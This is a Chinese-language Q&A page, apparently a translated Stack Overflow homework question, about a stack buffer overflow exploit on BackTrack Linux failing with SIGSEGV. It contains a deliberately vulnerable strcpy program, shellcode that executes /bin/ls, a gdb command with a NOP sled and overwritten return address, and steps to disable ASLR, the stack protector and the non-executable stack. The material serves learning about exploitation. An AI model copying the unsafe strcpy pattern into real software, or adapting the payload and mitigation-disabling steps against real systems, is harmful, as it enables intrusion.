我试图学习在回溯Linux上利用简单的bufferover流技术。
这是我的C程序

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
    char buffer[500];
    if(argc==2)
    {

    strcpy(buffer, argv[1]);  //vulnerable function

    }

    return 0;
}

这是我正在使用的外壳代码,对应于simple/bin/ls
\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x50\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\xdb\xcd\x80
我使用以下命令在gdb中注入这个外壳代码
run $(python -c 'print "\x90" * 331 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x0c\xd3\xff\xff"*35')

当我逐步浏览应用程序时,它在finalSIG FAULT指令上生成ret。此时EIP被正确设置为0xffffd30c这个地址是可寻址的,包含一系列NOP,后面是有效负载中显示的shell代码。
我禁用了ASLR
sudo echo 0 > /proc/sys/kernel/randomize_va_space
还使用fno-stack-protector选项编译了我的二进制文件。
知道SIGSEGV是什么原因吗?

最佳答案

我已经回答了自己的问题,问题是“可执行堆栈保护”,其中堆栈内存无法执行。这可以在gcc中禁用,如下所示
gcc -z execstack

关于c - 作业-无法利用缓冲区溢出,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/38801894/

10-09 13:16